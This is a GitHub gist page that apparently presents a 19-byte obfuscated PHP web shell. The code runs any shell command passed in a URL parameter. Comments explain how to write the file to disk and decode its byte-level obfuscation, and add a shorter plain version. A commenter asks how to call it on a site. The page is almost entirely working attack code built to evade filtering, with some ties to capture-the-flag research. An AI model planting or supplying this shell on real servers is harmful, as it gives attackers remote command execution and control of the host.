Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active January 30, 2024 21:53
Show Gist options
  • Star 43 You must be signed in to star a gist
  • Fork 14 You must be signed in to fork a gist
  • Save terjanq/cd506a49d4439130966bf9855a12f925 to your computer and use it in GitHub Desktop.
Save terjanq/cd506a49d4439130966bf9855a12f925 to your computer and use it in GitHub Desktop.
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
* - ~"\xa0\xb8\xba\xab" <-> "_GET"
* - ${"_GET"}["\xa0"] <-> $_GET["\xa0"]
* - `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"])
*
* This is only 5 bytes longer than the shortest PHP shell (using $_GET to smuggle data)!
* <?=`$_GET[_]`;
*
* This is a slightly improved idea that I had 2 years ago
* https://github.com/terjanq/Flag-Capture/blob/master/MeePwn%202018/omega/README.md#part2
*/
@piyush-security
Copy link

How can I access it ??
means;
https://example.com/shell.php? ...( Then What ?? )

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment